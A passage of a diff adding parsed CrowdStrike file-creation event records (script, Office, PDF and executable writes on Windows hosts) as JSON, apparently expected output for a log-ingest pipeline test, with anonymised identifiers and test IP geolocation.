+                "original": "{\"ContextBaseFileName\":\"481bc1a027f891f9b\",\"Options\":\"66717670\",\"ContextThreadId\":\"270140900130850060\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"Information\":\"3\",\"FileIdentifier\":\"3983fc13457464a741b39fba5bb2260604ddb049477359f2\",\"event_platform\":\"Win\",\"ShareAccess\":\"1\",\"EventOrigin\":\"1\",\"id\":\"182d52dbecaca7970cb63c42addda760f512\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1756143143.835\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"211820800920708240\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\f89ea270\\\\d001f1d.4\\\\b5860c81.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5060417\",\"Entitlements\":\"66\",\"name\":\"af0673bdd782d244e9c\",\"OperationFlags\":\"0\",\"aid\":\"d6c18cb814c9100d81bedd3b4290407f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\481f1be1.config\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce",
+                "extension": "config",
+                "inode": "3983fc13457464a741b39fba5bb2260604ddb049477359f2",
+                "name": "481f1be1.config",
+                "path": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config",
+                "type": "file"
+            },
+            "host": {
+                "id": "d6c18cb814c9100d81bedd3b4290407f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewScriptWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "d6c18cb814c9100d81bedd3b4290407f",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "211820800920708240",
+                "executable": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe",
+                "name": "481bc1a027f891f9b",
+                "thread": {
+                    "id": 270140900130850060
+                }
+            },
+            "related": {
+                "hash": [
+                    "8200073020"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "10050074",
+                "ConfigStateHash": "9080600092",
+                "ContextBaseFileName": "7592a3326e8f",
+                "ContextProcessId": "3609070495594",
+                "ContextTimeStamp": "2025-08-06T04:01:50.026Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "FileCategory": "2",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-72386-31002-81578-35580-81320-88994-11078",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "50b4564705009d4d899b257c4f60806debaf",
+                "name": "52f49e17cbb3258ec"
+            },
+            "device": {
+                "id": "e4a077554af537da06f56e39976d4420"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "50b4564705009d4d899b257c4f60806debaf|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-72386-31002-81578-35580-81320-88994-11078\",\"ContextBaseFileName\":\"7592a3326e8f\",\"FileCategory\":\"2\",\"Size\":\"70097\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\237ca1ff\\\\9f8125ec\",\"id\":\"50b4564705009d4d899b257c4f60806debaf\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OleFileWritten\",\"ContextTimeStamp\":\"1754452910.026\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"3609070495594\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"10050074\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"52f49e17cbb3258ec\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\e6e3e8fa\\\\5fcb82a8.automaticDestinations-ms\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\237ca1ff\\9f8125ec",
+                "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa",
+                "extension": "automaticDestinations-ms",
+                "inode": "938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770",
+                "name": "5fcb82a8.automaticDestinations-ms",
+                "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms",
+                "size": 70097,
+                "type": "file"
+            },
+            "host": {
+                "id": "e4a077554af537da06f56e39976d4420",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "OleFileWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "e4a077554af537da06f56e39976d4420",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3609070495594",
+                "name": "7592a3326e8f",
+                "thread": {
+                    "id": 290000250300138
+                }
+            },
+            "related": {
+                "hash": [
+                    "9080600092"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "user": [
+                    "S-72386-31002-81578-35580-81320-88994-11078"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-72386-31002-81578-35580-81320-88994-11078"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "1046050",
+                "BoundingLimitCount": 10,
+                "BoundingLimitDuration": "2486640",
+                "ConfigStateHash": "205997984",
+                "ContextBaseFileName": "f8d3910f48a",
+                "ContextProcessId": "3902807870001",
+                "ContextTimeStamp": "2025-09-13T19:54:25.081Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "FileCategory": "2",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-14916-87933-54904-21020-22768-89969-67859",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "fa7433e86a344c7c471c159189a5d9e46b61",
+                "name": "7233ba49d5aea975e9d"
+            },
+            "device": {
+                "id": "4274e60578e437f258cd288fc421c898"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "fa7433e86a344c7c471c159189a5d9e46b61|4274e60578e437f258cd288fc421c898|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-14916-87933-54904-21020-22768-89969-67859\",\"ContextBaseFileName\":\"f8d3910f48a\",\"FileCategory\":\"2\",\"Size\":\"4008\",\"ContextThreadId\":\"406830433040004\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\4db87fa6\\\\901bda80\",\"id\":\"fa7433e86a344c7c471c159189a5d9e46b61\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1757793265.081\",\"ConfigStateHash\":\"205997984\",\"ContextProcessId\":\"3902807870001\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"1046050\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"2486640\",\"Entitlements\":\"16\",\"name\":\"7233ba49d5aea975e9d\",\"OperationFlags\":\"0\",\"aid\":\"4274e60578e437f258cd288fc421c898\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\6a5005c5\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\9628fd57\\\\93\\\\697ee9b1.thmx\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\4db87fa6\\901bda80",
+                "directory": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93",
+                "extension": "thmx",
+                "inode": "fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460",
+                "name": "697ee9b1.thmx",
+                "path": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx",
+                "size": 4008,
+                "type": "file"
+            },
+            "host": {
+                "id": "4274e60578e437f258cd288fc421c898",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "OoxmlFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "4274e60578e437f258cd288fc421c898",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3902807870001",
+                "name": "f8d3910f48a",
+                "thread": {
+                    "id": 406830433040004
+                }
+            },
+            "related": {
+                "hash": [
+                    "205997984"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "S-14916-87933-54904-21020-22768-89969-67859"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-14916-87933-54904-21020-22768-89969-67859"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "50820000",
+                "ContextProcessId": "600400303060",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileSubType": "1",
+                "SHA256HashData": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d",
+                "name": "e1363774d0bedd151e540a3f0"
+            },
+            "device": {
+                "id": "827afde25ba0eeda5d204a68ff612048"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"PackedExecutableWritten\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"600400303060\",\"aip\":\"216.160.83.56\",\"FileSubType\":\"1\",\"SHA256HashData\":\"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"66\",\"name\":\"e1363774d0bedd151e540a3f0\",\"EventOrigin\":\"1\",\"id\":\"46fbd2ea624c1d37a02f228b5e07a641ba5d\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\de975748.2506_none_4305ee2bac2df612\\\\47776.dll\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612",
+                "extension": "dll",
+                "hash": {
+                    "sha256": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1"
+                },
+                "name": "47776.dll",
+                "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll",
+                "type": "file"
+            },
+            "host": {
+                "id": "827afde25ba0eeda5d204a68ff612048",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PackedExecutableWritten",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "827afde25ba0eeda5d204a68ff612048",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "600400303060"
+            },
+            "related": {
+                "hash": [
+                    "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1",
+                    "50820000"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "107430",
+                "ConfigStateHash": "3000500100",
+                "ContextBaseFileName": "8bccb383613c62792a",
+                "ContextProcessId": "90797090022909",
+                "ContextTimeStamp": "2025-06-12T15:46:27.245Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileCategory": "2",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-67387-98466-95492-13435-71780-89109-76365",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba",
+                "name": "0ae43bcd866d0651b"
+            },
+            "device": {
+                "id": "972c7871709024649af8a061337fe15f"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba|972c7871709024649af8a061337fe15f|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-67387-98466-95492-13435-71780-89109-76365\",\"ContextBaseFileName\":\"8bccb383613c62792a\",\"FileCategory\":\"2\",\"Size\":\"90700\",\"ContextThreadId\":\"599818020897405\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\3fcf5e12\",\"id\":\"e3b7d2a5cd6687e005e8d8440762de1a5cba\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1749743187.245\",\"ConfigStateHash\":\"3000500100\",\"ContextProcessId\":\"90797090022909\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"107430\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"0ae43bcd866d0651b\",\"OperationFlags\":\"0\",\"aid\":\"972c7871709024649af8a061337fe15f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\c21d01b\\\\72cd25a5\\\\cf1\\\\8bda0e31\\\\dee65f00.pdf\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\b9e65ff8\\3fcf5e12",
+                "directory": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31",
+                "extension": "pdf",
+                "inode": "b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10",
+                "name": "dee65f00.pdf",
+                "path": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf",
+                "size": 90700,
+                "type": "file"
+            },
+            "host": {
+                "id": "972c7871709024649af8a061337fe15f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PdfFileWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "972c7871709024649af8a061337fe15f",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "90797090022909",
+                "name": "8bccb383613c62792a",
+                "thread": {
+                    "id": 599818020897405
+                }
+            },
+            "related": {
+                "hash": [
+                    "3000500100"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "user": [
+                    "S-67387-98466-95492-13435-71780-89109-76365"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-67387-98466-95492-13435-71780-89109-76365"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "90089570",
+                "ContextBaseFileName": "d3571e48e3804d61a8d8f51",
+                "ContextImageFileName": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe",
+                "ContextProcessId": "3097482600003",
+                "ContextTimeStamp": "2025-07-14T18:34:34.515Z",
+                "DllCharacteristics": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "FileCategory": "6",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-75678-67909-19006",
+                "FileWrittenFlags": "0",
+                "ImageCheckSum": "0",
+                "ImageEntryPoint": "4040",
+                "ImageSubsystem": "2",
+                "ImageTimeStamp": "2526530060",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "IsTransactedFile": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "ModuleCharacteristics": "800",
+                "OperationFlags": "0",
+                "SHA256HashData": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "d5f767539bfcb8d8aede98bf95736a049e78",
+                "name": "5f323af958b5a344"
+            },
+            "device": {
+                "id": "e8709208d980534971098b9a6fb8cf05"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "d5f767539bfcb8d8aede98bf95736a049e78|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-75678-67909-19006\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"6\",\"Size\":\"36724\",\"ModuleCharacteristics\":\"800\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ImageCheckSum\":\"0\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"ImageSubsystem\":\"2\",\"id\":\"d5f767539bfcb8d8aede98bf95736a049e78\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PeFileWritten\",\"ContextTimeStamp\":\"1752518074.515\",\"UserName\":\"a7d64dd9c23669\",\"ConfigStateHash\":\"90089570\",\"IsTransactedFile\":\"0\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"ImageEntryPoint\":\"4040\",\"SHA256HashData\":\"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0\",\"AuthenticationId\":\"830\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\aa669\\\\1cb\\\\8dff9f73\\\\e49665bb\\\\51a\\\\97f4d525.exe\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DllCharacteristics\":\"0\",\"IsOnRemovableDisk\":\"0\",\"ImageTimeStamp\":\"2526530060\",\"Entitlements\":\"16\",\"name\":\"5f323af958b5a344\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\85ba88.exe\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\7f136004\\03bd69ab",
+                "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951",
+                "extension": "exe",
+                "hash": {
+                    "sha256": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0"
+                },
+                "inode": "cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073",
+                "name": "85ba88.exe",
+                "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe",
+                "size": 36724,
+                "type": "file"
+            },
+            "host": {
+                "id": "e8709208d980534971098b9a6fb8cf05",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PeFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "e8709208d980534971098b9a6fb8cf05",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3097482600003",
+                "executable": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe",
+                "name": "d3571e48e3804d61a8d8f51",
+                "thread": {
+                    "id": 60020000009454
+                }
+            },
+            "related": {
+                "hash": [
+                    "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0",
+                    "90089570"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "a7d64dd9c23669",
+                    "S-75678-67909-19006"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-75678-67909-19006",
+                "name": "a7d64dd9c23669"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "CompanyName": "48fd8e96569f1cb4",
+                "ConfigStateHash": "30820000",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "45",
+                "FileVersion": "81.2.69.192",
+                "FixedFileVersion": "81.2.69.142",
+                "LanguageId": "0",
+                "OriginalFilename": "71f2cbc28fc61e5b304e",
+                "SHA256HashData": "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78",
+                "VersionInfo": "67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719",
+                "name": "510aa45e1032311"
+            },
+            "device": {
+                "id": "f5f8341524ed1dd257646890be631aee"
+            },
+            "event": {
+                "action": "PeVersionInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"PeVersionInfo\",\"ConfigStateHash\":\"30820000\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"VersionInfo\":\"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937\",\"CompanyName\":\"48fd8e96569f1cb4\",\"FixedFileVersion\":\"81.2.69.142\",\"event_platform\":\"Win\",\"OriginalFilename\":\"71f2cbc28fc61e5b304e\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\c71dcff2\\\\150824cf.0_x64__v10z8vjag6ke6\\\\b9035\\\\48fd8e96.exe\",\"FileVersion\":\"81.2.69.192\",\"Entitlements\":\"16\",\"name\":\"510aa45e1032311\",\"EventOrigin\":\"45\",\"id\":\"51fdaf250bbe8ba7a3d2f76e5160dbcf2719\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"LanguageId\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "pe": {
+                    "original_file_name": "71f2cbc28fc61e5b304e"
+                }
+            },
+            "host": {
+                "id": "f5f8341524ed1dd257646890be631aee",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PeVersionInfo",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
